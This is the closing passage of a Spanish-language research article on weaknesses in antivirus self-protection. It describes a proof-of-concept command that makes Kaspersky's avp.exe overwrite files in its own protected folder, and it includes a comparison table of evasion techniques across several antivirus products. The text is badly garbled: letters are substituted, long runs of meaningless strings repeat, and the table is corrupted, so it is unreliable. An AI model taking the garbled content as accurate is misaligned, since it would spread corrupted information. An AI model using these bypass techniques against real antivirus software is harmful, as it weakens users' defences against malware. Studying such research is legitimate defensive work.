Como (ltima an$cdota, ^aspersN& permite la escritura en el directorio que autoprotege a trav$s del fic!ero avp.exe cuando escribe su configuracin a disco. C+7Program 6iles7^aspersN& *ab7^aspersN& 2ntiCRirus H.E@ for _i in .T/ do avp.com )QP<53 rtp _i )l resultado es que muc!os de los fic!eros protegidos por ^avH se pueden sobrescribir, tantos como los siguientes+ EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF EKGE9GAEEF 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA 9K+JA BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE BH.LFE 6ileSession.ppl 63PSession.ppl WetS&stem"nfo.dll 433PSession.ppl "nflate.ppl NavHE.bav Ne&filedl.dll Nl.url Nlavsrc!.ppl Nlavstrm.dll Nlscav.dll *oadBHSt.dll maildisp.ppl 8ail8sg.ppl 82P")#^.dll mcou.dll mdb.ppl 8#82P.ppl mNavio.ppl msoe.ppl ;etSession.ppl ntlm.ppl offguard.dll passdmap.ppl Product"nfo.ppl prseqio.ppl 5eg"nstaller.ppl rescuecd.zip resip.ppl scieplugin.dll s!ellex.dll
;o obstante, parece que no afecta muc!o a la ejecucin del motor de ^aspersN&, aunque s' a alguna otra funcionalidad como la de anlisis de red. Para finalizar este punto, admitir que esta (ltima forma de ejecutar contenido v'rico no es elegante, & est puesta como mera demostracin de concepto . Sin embargo, a pesar de su falta de elegancia, muestra como si los antivirus deben protegernos de la ejecucin de contenido v'rico, la modificacin de un fic!ero como boot.ini no deber'a permitirse.
6 $ Babla comparati<a
B91A&1A? 9.C 5utas :nicode A.C )xtensin L.> >.C Pat! de AHE b&tes. B.C )jecucin de contenido en fic!eros no ejecutables J.C Supresin del servicio residente H.C Condiciones de carrera en el arranque F.C "nicio en modo a prueba de fallos :;"C<#) BitDefender 8 BitDefender 10 AVG 7.5.1 Avast! .7 !anda "005 !anda "007 #$rt$n "007 #$d%" ".5 &$neA'ar( ).5 *as+ers,- ) L.> AHEb&tes
,eyenda
;<C)Q)C
Supresin
5aceCCond
Safeboot
6& A!radecimientos
2l mes de diciembre que con sus festividades !a permitido que se escriba este documento. 2 los que !an puesto palabras & la m(sica con la que descansar en los ratos que escribir aburr'a. 2 la gente que !a participado en ma&or o menor medida en la realizacin de este art'culo & !an aguantado la paliza que !e dado durante su desarrollo, en especial a 2cidC^rs & 8adjEN)r que aguantan todas mis desbarradas mentales de forma estoica e incluso se prestan a ser coba&as de pruebas c!orras. 0 por (ltimo a todos los que !ab$is le'do estas BE pginas, gracias por vuestro inter$s.